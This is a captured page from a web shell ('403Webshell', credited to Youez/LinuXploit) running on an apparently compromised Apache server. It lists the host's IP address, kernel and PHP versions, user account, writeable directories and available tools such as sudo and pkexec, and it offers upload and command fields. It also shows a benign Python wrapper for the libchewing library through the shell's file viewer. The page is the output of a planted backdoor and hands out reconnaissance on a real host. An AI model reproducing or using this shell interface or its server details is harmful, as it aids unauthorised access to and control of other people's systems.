403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/libchewing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/libchewing/chewing.py
from ctypes import *
from functools import partial

_libchewing = CDLL('libchewing.so.3')
_libchewing.chewing_handle_Default.argtypes = [c_void_p, c_char]
_libchewing.chewing_commit_String.restype = c_char_p
_libchewing.chewing_buffer_String.restype = c_char_p

def Init(datadir, userdir):
    return _libchewing.chewing_Init(datadir, userdir)

class ChewingContext:
    def __init__(self):
        self.ctx = _libchewing.chewing_new()
    def __del__(self):
        _libchewing.chewing_free(self.ctx)
    def __getattr__(self, name):
        func = 'chewing_' + name
        if func in _libchewing.__dict__:
            wrap = partial(_libchewing.__dict__[func], self.ctx)
            setattr(self, name, wrap)
            return wrap
        elif hasattr(_libchewing, func):
            wrap = partial(_libchewing.__getattr__(func), self.ctx)
            setattr(self, name, wrap)
            return wrap
        else:
            raise AttributeError, name
    def Configure(self, cpp, maxlen, direction, space, kbtype):
        self.set_candPerPage(cpp)
        self.set_maxChiSymbolLen(maxlen)
        self.set_addPhraseDirection(direction)
        self.set_spaceAsSelection(space)
        self.set_KBType(kbtype)

Youez - 2016 - github.com/yon3zu
LinuXploit